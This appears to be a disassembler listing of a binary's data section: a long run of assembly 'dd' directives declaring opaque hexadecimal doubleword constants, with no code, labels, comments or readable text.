		dd 46D60058h, 15CBB353h, 7000762Fh, 624A0AA5h, 4AA2A9Ah
		dd 3F1BF12Bh, 0A1BDC0FEh, 7F00B69Fh, 48AE70B9h,	18D16443h
		dd 58AFBF1Ah, 7205DF6Bh, 0CF067594h, 73449C00h,	0FD5B8BB6h
		dd 14CA1080h, 896EFE19h, 0AB125E06h, 0B80C53h, 79B44763h
		dd 0DDC3F544h, 8B81ACA0h, 9830E27Bh, 631F10D8h,	2D251EB0h
		dd 3E39408Ch, 1C1DA92Ch, 499B1030h, 50FC5h, 98D2BF9Dh
		dd 6141F5ACh, 4446B502h, 90A58F1Ch, 0FAB990h, 0FBB65471h
		dd 0F851579Ch, 8C3A7B07h, 99B03F9Dh, 78691298h,	0FCD00077h
		dd 6A307579h, 0B4F8D65Bh, 0E36C5801h, 5A7CEACh,	0D96DA080h
		dd 9CD2DEF2h, 0C1682206h, 0F89866h, 5FB2B305h, 0BABC811Dh
		dd 1AD46100h, 4D5B43EBh, 0D1D00757h, 2007373Ah,	0B9695264h
		dd 0C9F13Fh, 572FA55Bh,	1D95A6h, 8B7FFE3Eh, 11E534CDh
		dd 0A74EC500h, 5F0680D3h, 0E203240Ch, 88FB8004h, 0EC98545Dh
		dd 913A48h, 121B1A1Fh, 1CFAFDFEh, 40D4D67Fh, 0E8288613h
		dd 0F004979h, 0EDAB1BC8h, 9BA01h, 65E08ECFh, 0DD74BCF3h
		dd 0F5A84C00h, 0B2145052h, 7E99005Ah, 3B3D34DCh, 0B40A40BEh
		dd 0C24D0484h, 0B5643A0Ah, 0F033F506h, 268A0004h, 6FE3868Bh
		dd 8490B275h, 2A65FB0Fh
		dd 99D2314h, 0FE300090h, 0C60EB78Ch, 0EF00F7B0h, 9B638BE4h
		dd 28A7DFA9h, 1F17287h,	327158DDh, 80F8A155h, 0D298D938h
		dd 58BCBC2h, 0E6417A6Ch, 69CC0013h, 97D3F182h, 0DECAFE00h
		dd 1CA2323Dh, 0B1580033h, 8B7E151Dh, 0C305C57Ch, 96D4CE78h
		dd 98C90083h, 37749Ch, 3EF64F52h, 0D75A7CADh, 2483145Ch
		dd 0E9070C9Ah, 0C7A63AB9h, 1A842F11h, 0D8008A7Eh, 0C5EF7778h
		dd 269090B7h, 80B41C40h, 8EC4C241h, 6007EDCEh, 91026EEAh
		dd 74B1EB50h, 2BD900E2h, 881466B0h, 6100BC13h, 7EC5D002h
		dd 3D1ED22h, 3FF06731h,	0BDD878D2h, 4CEAAB72h, 76E9D06h
		dd 0F88565h, 10054593h,	86F4A9ACh, 0A14F0D00h, 694DBB7Dh
		dd 36676EAh, 383D119Bh,	1B880A56h, 0AE0407ACh, 5953E03h
		dd 3CD9C0EAh, 201CC9Ch,	0B78D335Ch, 9043BF2Fh, 137CD0E9h
		dd 96603EC5h, 0B679A203h, 0DCD8829Bh, 87006533h, 0D481F1FCh
		dd 6B20E8h, 498001CAh, 2BED2C4Eh, 4A418A00h, 1A8DE504h
		dd 0B01EF6F8h, 0B0E21D1Ch, 0F96E40CCh, 1CA7CBCAh, 2F3D207Dh
		dd 5D6002E7h, 0A00ACEADh, 8481D0ACh, 0A04B00BDh, 0ABB28A43h
		dd 2F3B6B67h, 5B540793h, 5830BE5Eh, 51CE21h, 95F4B0C7h
		dd 0AD921DACh, 0C102ED00h, 4D4A854Ch, 98D5710Ch, 43A9027Dh
		dd 7377EA8Dh, 3FC5A880h, 8E0F64EBh, 0E0F3F5B2h,	6DADDCE7h
		dd 317BD7h, 9836DE18h, 7D606681h, 470F000h, 7A432065h
		dd 2D73052h, 12277348h,	0E79E1600h, 743AC0BFh, 77A3008Bh
		dd 30E5B69h, 3D00F6F4h,	0BC266744h, 214201h, 6809087Ah
		dd 516007AAh, 0D1006FECh, 3A1DF830h, 131297Dh, 2DEC6369h
		dd 0C4E9B789h, 1F3CBAC8h, 48088037h, 0BC406ECFh, 0EC6A4A0Eh
		dd 9A007B29h, 232F64AEh, 4CDAD8CDh, 0F9005580h,	323AD9EAh
		dd 560FD4F6h, 600E354Ah, 0E1D10477h, 26980086h,	0BD71CEFFh
		dd 0BCB85B2Bh, 200F7A00h, 0FE437CF6h, 0DC4100DAh, 621BA13h
		dd 1C009636h, 0E3771F63h, 7CAE05h, 5C628908h, 0C78C6EE8h
		dd 0A348CA00h, 0C22EAD01h, 52BE00D8h, 679F5051h, 3C00BBBAh
		dd 36CDFDDh, 6A1BA1h, 0D437CA0Ah, 92406F12h, 2013CF2h
		dd 23B6C7C4h, 0E4CC4BABh, 0E9C0048h, 4E8CB4DEh,	0D60E9A7Dh
		dd 605C2F72h, 87A24FADh, 71FC00D7h, 15484D1h, 0D4A3EAA3h
		dd 0D8EEE589h, 40D3BF9Eh, 1B664301h, 6FF45464h,	0AEBE004Bh
		dd 17E6E4Ch, 18004461h,	0D52520DBh, 0E09FCFh, 9C90438Eh
		dd 0B7F8173Eh, 980E20B0h, 98FA329Bh, 0E39D20h, 0FE141E73h
		dd 0B2FD1B8Fh, 0E77F2C00h, 9EFF5E2Ah, 70E050h, 0E036750Fh
		dd 722A8A5h, 144448h, 0E7727F66h, 1B53034h, 81512743h
		dd 0F1971226h, 0F020F0FCh, 0F43E6BFAh, 92C9032Bh, 88739D2Ch
		dd 0B0D5A7h, 936FD9ECh,	41563B6h, 0DD670200h, 0FAA70301h
		dd 946990D5h, 80930B88h, 63D21A80h, 1600B31Eh, 0F5D3FE5Dh
		dd 238BB3Ah, 11B80172h,	0A44092FBh, 0AB004E04h,	0B246E6Ch
		dd 3B0EC47Ah, 0EF80A765h, 209F56F0h, 612CC3CAh,	2CD6E6h
		dd 0EB12F813h, 0F5FDA440h, 0ECAE0Eh, 13F9C4AFh,	0C21F8DF0h
		dd 0C6E85113h, 5A80B502h, 0A410405Eh, 9CA05C2Ch, 0C01CEAC0h
		dd 0EBB08A9Ah, 0A3001878h, 21C8F2F0h, 0C64832h,	86AA8904h
		dd 0FCCCBF75h, 44A76307h, 71D07DE3h, 0FD851C17h, 1E936C24h
		dd 2CB00A54h, 802D1DF3h, 6A0DCE87h, 0D0072A1Ah,	0CF8BC316h
		dd 94573280h, 3196030Ch, 1FB0F377h, 0F0D6D3B0h,	41CF94Ch
		dd 0B4868A51h, 0C8EE6C90h, 0A2E17708h, 0FC6848DCh, 0D8F300FBh
		dd 290238D6h, 9F3883E0h, 0C0D8B1h, 0DECD827Ch, 38863E37h
		dd 7B1BFDh, 2C7D59F1h, 0F25E9DF4h, 0B4A69803h, 0CF080161h
		dd 0E70BB0C0h, 0F85B248Eh, 80EA05A0h, 0D1C0BA55h, 0E067B5h
		dd 0E29DF22Ch, 6B94C484h, 535A7900h, 364DC18Fh,	630300C3h
		dd 6E50FD1Ah, 8E004C91h, 115BE483h, 0C2CC8Bh, 0E59E2098h
		dd 0C6026833h, 0E100F6B0h, 140927ACh, 126072Fh,	0B4B84DDFh
		dd 4077FD10h, 0EB644A8Bh, 6CD14403h, 0C0BC51DDh, 3E45E056h
		dd 83802BB7h, 11535779h, 0F80266F4h, 3984C7BEh,	3774E876h
		dd 0D0FCDBh, 0B70EB84Bh, 96EEA66Eh, 310A8E00h, 0A847AB70h
		dd 72880757h, 0E0B57ABCh, 77D05A83h, 0F65E6100h, 1C194356h
		dd 0CA071FD1h, 0BB090E0h, 1496E73Eh, 30D60120h,	8AE31127h
		dd 0C43C708Dh, 947E4301h, 0DCE2493Eh, 0EED0F870h, 0E9A30093h
		dd 67989985h, 900BE08h,	0B20B7074h, 18ADE34Dh, 30A4A701h
		dd 0C7248350h, 520586B7h, 0B08095B1h, 8964FDh, 0B2017CEBh
		dd 0F2FED996h, 0E2CD6900h, 0E7AE2B5Dh, 0CC78029Ch, 901C03D2h
		dd 0A7B582E0h, 440C5F0Fh, 77405D33h, 7651787Dh,	5474331Fh
		dd 45883570h, 0C0903B82h, 0CD0A180Eh, 0DFDD6EC0h, 368E880h
		dd 8AD25Ah, 0D697149Ch,	925141EDh, 0C3E21909h, 90908087h
		dd 184A7E99h, 6E5DFC15h, 0CD03D010h, 0EEB76441h, 0A1F5882Fh
		dd 11EA0089h, 5AC3C239h, 1602DF27h, 0E724A30h, 25DC50C5h
		dd 0CC10BE26h, 0A4D9078h, 0CE3B04h, 23192B88h, 1478B50h
		dd 31331B73h, 0E8DD5982h, 98042480h, 0D8050A2Fh, 84AE0280h
		dd 0E8F00FCh, 0AFD2ABA6h, 0EE0769C5h, 0D851D5EFh, 6DB31750h
		dd 0AB1B02ADh, 0BBCF90FCh, 30CCE341h, 47EE8DE8h, 1CD9C503h
		dd 975DB4BDh, 0D413D750h, 6C5600FBh, 405584D8h,	142EE36Fh
		dd 5C019CBDh, 0BF914F9Eh, 59E080CAh, 0C343CCh, 0E666B7B5h
		dd 47874B12h, 0A3CE7200h, 0CD56D59Ch, 671007Ch,	999B97B8h
		dd 39057091h, 5B5EB398h, 373AC200h, 27CA1E35h, 0AC01B4A0h
		dd 72BC8132h, 4D8F0090h, 0D0952021h, 56651EA6h,	0A492E4h
		dd 6016C13Ch, 0AA61C2CEh, 0F214310h, 10D19E0h, 8B9BCF46h
		dd 0C9E2592Fh, 10716112h, 0C66B2DC8h, 50926378h, 4D49BF07h
		dd 0C450DFA3h, 0EA6BA58h, 0B175F99Fh, 0F7CA7C80h, 4A07BE11h
		dd 0C63A2C62h, 0D2408319h, 0F280BF3Bh, 7191C1Fh, 0F10555F5h
		dd 77A1719Eh, 10CB20CFh, 8028F300h, 0BB3FA566h,	53090232h
		dd 7092E2C8h, 7400C050h, 4D84B359h, 67196Eh, 0C4AEEAE3h
		dd 9D63CC04h, 0E0048ECh, 4A775256h, 0B07DF712h,	7CD7015Ch
		dd 5F1BBC1Fh, 0C5F9DDC8h, 56DAFCB0h, 0BB1CBF03h, 0C03572FDh
		dd 60CFCEh, 80A92A68h, 5E8F0333h, 3BEA283Dh, 84CB01BBh
		dd 0D55C436Ah, 0FCB7C200h, 9DB58304h, 3741798Dh, 38149592h
		dd 4F2B3D34h, 2CB8020h,	74840727h, 217CA98Dh, 30E6651Bh
		dd 2E021024h, 0EE6B3E78h, 15C377CBh, 34EA80CDh,	0EC987622h
		dd 10066E2h, 9521D9F0h,	0C667F9h, 0AF37BBEFh, 8380E809h
		dd 8CD44200h, 4C704F27h, 0BFB5005Eh, 33C30B86h,	8500C511h
		dd 62050991h, 2600D4Fh,	2967EA66h, 15E09212h, 0B0B06FA3h
		dd 228EA204h, 0D4C0A775h, 0FF3FED4h, 0F3FABB4h,	87E7D2A0h
		dd 72482A32h, 1D733918h, 755E93D5h, 47AA80FBh, 0C5CB5192h
		dd 1EF0F2F5h, 0D55E3h, 0F180604Dh, 0E60047F2h, 0FA25EC13h
		dd 7B131h, 0CBA818A7h, 0BB152CD5h, 0E4FDC498h, 6680B352h
		dd 0A70216C9h, 639400B5h, 0CBC46AB7h, 31F0E400h, 0CA865593h
		dd 48FBE8F3h, 9C1F788Ch, 0B127408Ah, 886BE313h,	60CB5600h
		dd 708F65Ah, 23740016h,	1F1EB458h, 0F20983CCh, 80E5C678h
		dd 571D2A10h, 49AE0043h, 5F9E6EB2h, 0EB001863h,	5056DE8Ch
		dd 0AA5DFh, 0CAEEC84h, 8104FFA2h, 31BC5F00h, 0F9E04F6Eh
		dd 4DDD00F8h, 7A45DB43h
		dd 0A00204Ch, 0B4F0A23Ch, 3E4BA106h, 778798BDh,	619AB832h
		dd 0C8D33574h, 0DC002D9Eh, 0E6E7EB2Eh, 0FA995026h, 750600E9h
		dd 0FCE5DB1Ah, 21E82AC5h, 221F8600h, 0BBB4BA52h, 4A9909B8h
		dd 0D000D8E3h, 871B58D9h, 927C4F02h, 48962B54h,	3CF417F4h
		dd 0D882F6B1h, 464ED72Eh, 0D1A9A4C8h, 638B9700h, 516F70C8h
		dd 959B00DCh, 0B77AA3B6h, 7C008190h, 3B6375D6h,	1F27F1FDh
		dd 0A839C06Ah, 45E16DCh, 0A01CB0h, 40E95DD4h, 0A4A0C014h
		dd 0F20084D2h, 5A104A5h, 13E068h, 33DD5B7h, 9880FF24h
		dd 8C496224h, 0F3C06C1Eh, 0C4199630h, 0AA5033E6h, 10C0CF18h
		dd 0A00C0614h, 0C02772F2h, 0AAF4003Fh, 0FB76098Ah, 0B80074B1h
		dd 402FB2F3h, 72A747D0h, 35BA0E7Dh, 0F9C3819Bh,	89B0EB73h
		dd 3006786h, 17F5ACCEh,	1292D8h, 44DFB29h, 18266094h, 4F0CD701h
		dd 517BC972h, 3D6AD8h, 0DFA5E2A3h, 82FED243h, 0DA494500h
		dd 5B56481Bh, 0F331005Fh, 6CD4A337h, 1002A8Dh, 5AE1B114h
		dd 0AB11D9h, 0D949387h,	34F7488Bh, 7F9EE500h, 171358D5h
		dd 0EA050054h, 9AECBFFCh, 0DCA8F188h, 0C0B658ABh, 698D3C00h
		dd 986A2FE2h, 4D8E0030h, 24E6282Ah, 0F6000385h,	19291838h
		dd 4BF81Fh, 69B0FDFBh, 90BEDFD9h, 0EC83B102h, 81B48EE4h
		dd 0C460A2DCh, 725EA710h, 9A9B4100h, 0E909B040h, 1D1700AAh
		dd 0EFBC91D1h, 587793DBh, 0C5BDFC00h, 0AD15F64Dh, 8BED0BCEh
		dd 1480C0C2h, 86084A58h, 9100BC90h, 37921477h, 11150Ah
		dd 68D7A6AEh, 59A3F4F3h, 0BBA17E0Eh, 0E33B6061h, 1CDFFD45h
		dd 0C07130C2h, 2A2C4A6Fh, 1701B724h, 6DEF0B20h,	0EDC995Bh
		dd 2EF2007Fh, 8EE3F4ADh, 0D100A4F6h, 5CF7F9C1h,	16C087h
		dd 8BB8293Bh, 91490F55h, 0D93C3Ch, 0E889DDF5h, 77DA4Eh
		dd 61991045h, 0FDDE705Eh, 74AD9000h, 0BD27EF5Fh, 257256h
		dd 0E37E6F60h, 0B817DB13h, 80BC2CF8h, 1CF1833Fh, 0D94AF257h
		dd 0CE207B09h, 0CA7E0315h, 0D7CD3D22h, 983B4100h, 38D05295h
		dd 5567008Eh, 0A8FE905Fh, 43FAD9E6h, 2F2D091Dh,	48206C0Ch
		dd 0B61300A3h, 28DEFAE2h, 710059EBh, 450E1AA5h,	4FF5D78Fh
		dd 7ACC0027h, 6CD876ABh, 2824B5Ch, 0B5DAA3F2h, 12A0721Eh
		dd 6EDBC8h, 0B6B6192h, 601C6870h, 65476D0Eh, 81FA9E71h
		dd 5A7CC700h, 7DC1B4h, 0B6FBBD59h, 2615D484h, 9403085Fh
		dd 91F2A1h, 0B4275E79h,	0B04C61E1h, 38074212h, 553E5800h
		dd 0C149128h, 93218C81h, 89301631h, 768E4909h, 84051D33h
		dd 65601E7Eh, 80E34C69h, 0D28B9A50h, 3B0E63h, 314FE8F1h
		dd 7326049h, 0BE92331Eh, 0EA00211Eh, 28090189h,	0BF2000E3h
		dd 4C91E5BDh, 3CA03E93h, 945CB7A2h, 0E3C201F1h,	84CDB78h
		dd 0A01AFCh, 0E89DFB09h, 57B34A60h, 0BC908960h,	5015DF84h
		dd 508C7C23h, 70C283Fh,	4A962854h, 14FE4F5Dh, 0E400142Ch
		dd 0D5640E05h, 58006AF4h, 994093E9h, 3F3DE01h, 443F72E1h
		dd 0EB889B81h, 41004C52h, 0D76DF72Bh, 0E94F43h,	2F441AA9h
		dd 0ACE8D834h, 0D5493800h, 372356A8h, 0F19600B0h, 860ECBE0h
		dd 200E7A93h, 232BD62Ch, 0C330BD83h, 0E07EAB59h, 9187988h
		dd 0CC34E41h, 0E1F88851h, 0A3840201h, 0F678371Dh, 9BC30C81h
		dd 99289EF5h, 1CC2BE0Ah, 32FA3700h, 0CE41498h, 0AC167E2Dh
		dd 21C08908h, 0C132B1CCh, 6A1701FCh, 0E4A33384h, 0F041817Fh
		dd 0CC623824h, 1AED9BFDh, 69C39847h, 78998612h,	1DA8180Eh
		dd 0B64011E5h, 6FA53D00h, 67931E58h, 0FE08CC48h, 8303A221h
		dd 557C193Dh, 73D4D881h, 0E09528F2h, 2A24660h, 149432BEh
		dd 108E3104h, 932B5D0h,	0EF30D4BFh, 0F7E93201h,	0E5419C78h
		dd 0DE2A8FC7h, 949822C9h, 73A89069h, 6E2403E5h,	400203CCh
		dd 65293Fh, 0E8C67CBh, 1DEFC27Ah, 0F80F7F2h, 1CC061EDh
		dd 6DA6AA62h, 257BCC7Dh, 0BB1A50C0h, 1DECC1C8h,	952DD6E1h
		dd 7C881CF8h, 103C980Ch, 1ED7FCE0h, 1EF8165h, 92B93644h
		dd 0C8E04B9Fh, 89A6C06Bh, 940051CAh, 147C6F41h,	4468F17h
		dd 23911658h, 0C00C9B27h, 0CF12339Eh, 6C143F0Bh, 6EAE3A0Eh
		dd 6B778C81h, 81F2F08Fh, 13E00297h, 0BC700072h,	49C0B8C2h
		dd 0C3CF3BFFh, 0F98B08Bh, 6C73240Ch, 81218C0Ch,	75628200h
		dd 1A99AF1Dh, 5D2D007Ch, 1170C95Bh, 3B1F1CF7h, 634961E8h
		dd 6FD820E6h, 5488A07Ah, 11E472h, 84BE5695h, 8CED3196h
		dd 750898EDh, 0ADB221h,	81BC2D56h, 0FC0DD747h, 0A2A30807h
		dd 6A21A958h, 73C0E593h, 0E865E4F0h, 9D3F00AAh,	0FE7FFBFDh
		dd 643AC88Fh, 0BCB3126Fh, 0E2390C01h, 0F0807D7Bh, 81A4CA67h
		dd 0E5260F78h, 440164D1h, 7DE9B095h, 0CF1AB850h, 0E3B43325h
		dd 930FB21h, 0A5BA2152h, 2E370025h, 5A9123F4h, 0DA05D194h
		dd 6C973858h, 0EF3FB000h, 608893C1h, 0BF4AD962h, 3E0F9808h
		dd 0E061FEFDh, 0C8AAE6B7h, 0B4731216h, 0E7610040h, 8D3A0F80h
		dd 3E0999EEh, 1D622DADh, 806B11B4h, 0A94621A6h,	0B98E00B7h
		dd 0A43E54E4h, 0CCA150FBh, 964FD473h, 4BB05764h, 0BA040249h
		dd 0FAC80BDh, 0D1838D2Dh, 90523D63h, 8A60F5F1h,	3B64078Fh
		dd 8482A120h, 32BF30A7h, 0BC14AF11h, 0D1808888h, 65E332B6h
		dd 0B35A00C2h, 421E4726h, 0F40E409Dh, 60B6A59Fh, 6C906057h
		dd 88861569h, 7EA40Bh, 27210D05h, 10506DFAh, 9F7B1D74h
		dd 0BECE7609h, 9F0D0B9h, 1797E19Ah, 60A64004h, 7BF85693h
		dd 7E448C84h, 56AB004Ch, 7185F5AEh, 1724F8E7h, 69092486h
		dd 0E99C900Dh, 44200596h, 11B53DCh, 0B2FF80A8h,	0F02031D0h
		dd 6454E431h, 0B101EB88h, 948A837Fh, 0FAFC792Eh, 0D39800B8h
		dd 8DF5D4BDh, 971A6FE9h, 3688847h, 841F63ECh, 8CDDA088h
		dd 0FB569805h, 60284E84h, 775B053h, 2065F1C0h, 8EFBA166h
		dd 9EE4488Ch, 4A0629CEh, 25BEC86Ah, 0E4FCE861h,	0D8A7886Eh
		dd 44B9EA00h, 80C751EBh, 556C0057h, 6D2EC840h, 950228BEh
		dd 4B123853h, 0A1B04020h, 0C93600A2h, 0E5291D08h, 8F0063B7h
		dd 882DEC14h, 981910F3h, 800AEAF4h, 0BB249F59h,	0C428242Ch
		dd 0A402B146h, 0C9E3B525h, 6C165331h, 8DF72500h, 9AA9280Fh
		dd 0AD630019h, 84E1F28Ah, 0F3509C8Fh, 0E8541FC8h, 50000BDCh
		dd 338A6377h, 0B86DE3BEh, 314A12AFh, 23142F6Ah,	849D017Dh
		dd 82E66DEFh, 936C3E68h, 8ADC8055h, 984978E7h, 9B100B88h
		dd 0C818591Fh, 46840D8Bh, 3DB402AAh, 30486FCFh,	0A0800C3Bh
		dd 773D00A1h, 0ADB95544h, 690BC490h, 20E4FC24h,	609A7154h
		dd 0FA5C093Dh, 88F1DF70h, 8FE9DD85h, 469B020h, 7B5B85Ah
		dd 0AA6B5BF5h, 3F70FAA7h, 18E12800h, 0C01FEBB9h, 3B9E0F00h
		dd 3F073AEDh, 0B0605F9h, 0C08CF8C9h, 1B89BBF8h,	902993Ch
		dd 0F34BD0C4h, 840269Ch, 69060581h, 2EF1F41Ah, 43008EE9h
		dd 20C857FBh, 590476BEh, 0B5955F3Ch, 8C80898h, 0A9E3B925h
		dd 0BD4057C4h, 8E3925A6h, 91967400h, 0E3F4672Eh, 6B860AF8h
		dd 42CC6603h, 0D8083FFCh, 0B428CC21h, 9202A746h, 0BE84F956h
		dd 0B1000047h, 68256AAh, 4FD094E1h, 775C25A0h, 0BCA6CE53h
		dd 87457B09h, 1D04F8DBh, 0C5354E42h, 4007769Bh,	6591C9A0h
		dd 71240F2Eh, 0BBC008ABh, 0EB6FCE3Dh, 21C0F318h, 0A3DBCA7h
		dd 8FD609ACh, 88D8E7E8h, 6021E96Fh, 650EEC5h, 0ABDB00C3h
		dd 471C8BDFh, 554CFC8Eh, 48042208h, 37070851h, 92BF105h
		dd 5E296881h
		dd 432848E8h, 8E621200h, 57A9EBADh, 1530245h, 76B8674Bh
		dd 626A7C61h, 3079F2F8h, 53021330h, 0DBF1E5B1h,	57E0C1CAh
		dd 0C205875h, 0C0988CB2h, 0C1E3B616h, 1B8D038h,	53A525A3h
		dd 60C82EE7h, 8A7A30CCh, 1B21C490h, 0C7988DFh, 0BA60A444h
		dd 6F23C93Dh, 21F118B8h, 3D3FA7A6h, 8DD286BAh, 519EF1Dh
		dd 95800EC2h, 4D9081C8h, 60A07068h, 0F0885488h,	4F900110h
		dd 0A8090DA9h, 9F5480F9h, 0A1DDDEA7h, 765B1251h, 0FEDC60BEh
		dd 1B26876Dh, 0C30C9430h, 0F8575199h, 825D3B1Dh, 4BEB0D80h
		dd 2BAC9BCEh, 1F3C0904h, 0F4C2EA1Ah, 0E97721BDh, 5B821786h
		dd 52CC6016h, 57620644h, 0C9E61169h, 38036E02h,	6013C402h
		dd 24F0EFD4h, 36069DFh,	1A8410E7h, 9EE9180Ah, 1F3BFC23h
		dd 538B62D4h, 1B6002A5h, 19A211DFh, 250456CCh, 164684h
		dd 56AF4800h, 15D9CF14h, 0DE62018Fh, 0C3D88E53h, 23C980BEh
		dd 0B7D31B08h, 757E4B4h, 1098EC99h, 0E0C14C1Fh,	0DE086160h
		dd 0E06B84C4h, 0F38C05A1h, 0D04E6CB4h, 0B6A77EACh, 773B6498h
		dd 58345CB0h, 0CEAB0120h, 3E92BF07h, 26F99470h,	4904146Dh
		dd 0F405400Eh, 8800125h, 7056028Dh, 554C8483h, 33047688h
		dd 983A246Dh, 0F2882C8Eh, 0E896B7C0h, 40AB648Bh, 38D0A4C3h
		dd 334AE70Fh, 757C0A0h,	12D610C6h, 945F5EFh, 486D9914h
		dd 4469A860h, 0E1F00B9h, 0A065BF58h, 935040D6h,	0E4872BE4h
		dd 0FEA4607Eh, 878048E5h, 9A3A1961h, 87F0F895h,	900CFE8h
		dd 64B0F34Bh, 696C4C34h, 0FC447133h, 8B3FF90Fh,	0F407176Bh
		dd 57302629h, 907723h, 861E1867h, 6D7D1517h, 650035F0h
		dd 338970A1h, 3C9F02A7h, 4C4CE421h, 9901DC23h, 0B684FA56h
		dd 4E887418h, 45561C91h, 6DFA45D6h, 6F618079h, 9450D3F7h
		dd 0C0240F3h, 9FB7F32Fh, 797459EDh, 0EC4187Fh, 5F3F2E58h
		dd 0A43E9580h, 28941F3Bh, 0EE8D4380h, 9D19461h,	679BEAD5h
		dd 0E5A144E8h, 2B717F02h, 404319EFh, 707C4400h,	76BC961Fh
		dd 0F9747846h, 3F2F9830h, 4C30FF8Bh, 0CD31A58h,	7DF90491h
		dd 0A18E218h, 1D51CDEFh, 0AADA096Dh, 0F0C6669Ah, 0C4B97F73h
		dd 0D31874D1h, 90FEFD76h, 92F3843Eh, 1003C72Ah,	71D7B9Bh
		dd 0BAD89FB8h, 8A47AF9h, 96800F74h, 4B3B7CC8h, 0DE7304AAh
		dd 8EE73E62h, 0C3F84DCh, 2DE12130h, 4AC7A201h, 0EBACF78Bh
		dd 88F5C864h, 2D00A7CAh, 292CE59Dh, 99149Ah, 0E6089E91h
		dd 715E1610h, 0ED1DDF1Bh, 95A1E031h, 70011CD4h,	0FE8A816Ch
		dd 297C4BC8h, 0F9060E34h, 683121EDh, 0F43CB312h, 10242E96h
		dd 19C00C3Fh, 0A53AA271h, 0C900BA7Eh, 42E9C9Ah,	0D60EB51Eh
		dd 12506E59h, 50880EC7h, 0A95D000Ah, 6A05C26Dh,	380B2AD5h
		dd 0A16CD7A4h, 8C5C8FD0h, 0F85E7C20h, 18046067h, 0E3ECF72Ah
		dd 0A21AA8A0h, 0EEE51105h, 10C20D0Eh, 25AA30B3h, 79E3B711h
		dd 0BF805188h, 0F8AB25D8h, 5231630h, 0A76890FBh, 4E90A88h
		dd 2F1301C0h, 0E8F011Fh, 0D8571663h, 4B86CF9h, 90ABFF6Eh
		dd 9C1F30F4h, 852D42A0h, 4C13C8A2h, 9C01B0AEh, 53EB1DD6h
		dd 57E0C78Ch, 5200951Ah, 0F2098FABh, 1340C833h,	0A0EAC373h
		dd 6C6094A4h, 0F106E031h, 56611E25h, 8DE9041Ah,	5C3CA0E3h
		dd 465C609Eh, 548076Eh,	0E8B871Ah, 976F0964h, 80799190h
		dd 23E75BB4h, 0FB6E0126h, 699AAB7Ch, 97C1810Dh,	32EBFF4Fh
		dd 25E75C70h, 101740D3h, 98837491h, 0EAD0F39Ch,	8B08CE5h
		dd 15A38400h, 10E3522Eh, 84C0AA43h, 0B960AD50h,	6F23C83Dh
		dd 0CC4415B0h, 3DA2A501h, 0F4AD6C07h, 910FAEB7h, 0C568011Ch
		dd 0D0E895D3h, 4CE78210h, 1A123B0h, 149532F9h, 889C18ACh
		dd 3200B0D7h, 813E6411h, 53350469h, 55A2D84Ch, 5C3830h
		dd 0BDC551D7h, 0E56EC30Ch, 9FB12300h, 44DFCDB8h, 4C910BE3h
		dd 88893089h, 7EE46845h, 4A4E1067h, 209B048h, 0F650E7h
		dd 88DEA4B8h, 44D006BAh, 0E166C3FCh, 5DA8CD03h,	8C057C2Bh
		dd 36AE16C0h, 57E7074Ah, 0A58F6Dh, 0D0506B9Ah, 52C5B58h
		dd 98EA737Bh, 9CE268A2h, 6780D733h, 24A95869h, 0C0BC0250h
		dd 6B7F8757h, 4DE5D8A0h, 3BCF902h, 4062CFEAh, 480AFF70h
		dd 4622A815h, 816AE430h, 0E6D75983h, 0EABE0015h, 603966CDh
		dd 1104D926h, 22C3DCEEh, 8077C8D3h, 133E218Ah, 760DF7Ch
		dd 4E56C4Ch, 708A0C4h, 3E69A709h, 884024FFh, 0EA9888h
		dd 6810AD08h, 85A6A203h, 783FEC00h, 4DFB4905h, 0B99D0044h
		dd 1593B5D2h, 69070C18h, 39D78312h, 488B0FE5h, 2AC23BC8h
		dd 0F6AA83EFh, 305DA84Dh, 25847A89h, 0EC8642D5h, 0E913313Fh
		dd 0CD2668Fh, 0F8E04415h, 7C1D389h, 0A66BBE0Dh,	1A13F818h
		dd 0D44330FFh, 2B86694h, 0E8E55129h, 80FC7387h,	1FA63Ah
		dd 18175B80h, 631369B0h, 876D791Bh, 0DC8064BAh,	54A2DFAh
		dd 5A52FF04h, 0B88E39D5h, 43C06A88h, 926C52h, 0D4C1B3B1h
		dd 8CB2741Dh, 912E1300h, 93AA46FEh, 1C5C594Dh, 8CFC27B8h
		dd 7B6C5C03h, 3780BE2h,	806A99E8h, 58E0B1ADh, 5F169004h
		dd 0ACD408FDh, 28FEE081h, 745EA985h, 10F4D753h,	8AB6A5AAh
		dd 570E8190h, 869AA4BCh, 796BEBh, 883B95C7h, 0BE272C84h
		dd 730092EEh, 0E3B53894h, 3DC93197h, 0E5AEBFF8h, 3846745Ch
		dd 2EE17806h, 0CBF428CFh, 7DD83750h, 0E5601250h, 783F802Ch
		dd 0E885AA96h, 773BB004h, 0F3C40113h, 0D4C14DADh, 0B0B988E7h
		dd 7C70F600h, 18F2B046h, 0F1B49F3Eh, 6B072496h,	8669BA41h
		dd 0B97CC909h, 786D1031h, 5177E7ACh, 0D6F60500h, 3DCB8B84h
		dd 18B32074h, 13C8C00h,	440FBCEAh, 64509C7Ch, 569460A1h
		dd 0AE8423BFh, 7B7C43Fh, 8F4D56A4h, 3C95C05Bh, 6E1346F8h
		dd 40416F87h, 7AAFE8E3h, 346D8C40h, 5C6CB65Fh, 3B035546h
		dd 4A762DDEh, 73F64EC8h, 834BF918h, 123DB8EAh, 0A375FE05h
		dd 3089E2C4h, 5D007679h, 913C150h, 0F054FB73h, 1A0D1CD4h
		dd 8F1AE0DFh, 535874BFh, 4F497070h, 690396F8h, 609A932Eh
		dd 8421050Eh, 80E578E7h, 71E14D30h, 54D1C891h, 703EA918h
		dd 2F3B818h, 57FF6D84h,	92C48281h, 918C979Fh, 1DE88088h
		dd 0B66D56h, 0FB820F66h, 5D84ED47h, 0BC70B82Ch,	0E7288A40h
		dd 0D180E18Fh, 9B73F4B3h, 4C00E1D3h, 0B717AAA6h, 4F5CE4A1h
		dd 4046E6Bh, 0C3CEB203h, 8A0018BDh, 7E0BF5DFh, 0A0958DEAh
		dd 0F77F3FCh, 0A5AE0CCFh, 591018Fh, 0E927D900h,	5F25B291h
		dd 9D790060h, 337E8B31h, 23788C03h, 0EFD6EE09h,	68E4912Dh
		dd 0D8C86845h, 467003Eh, 21EDD17Eh, 38931289h, 74559878h
		dd 0F2FF03CCh, 67FA05D3h, 2F1E2125h, 7523408Ch,	545618h
		dd 0CEA90E24h, 0B9B6E886h, 57D19CB9h, 0B0F4718h, 0A1687ABFh
		dd 7D8B5CFEh, 8721A022h, 40746BDh, 18149632h, 0D2409DC4h
		dd 0DB6A32B3h, 3FE40818h, 0B6166939h, 0D819B804h, 7461A27Bh
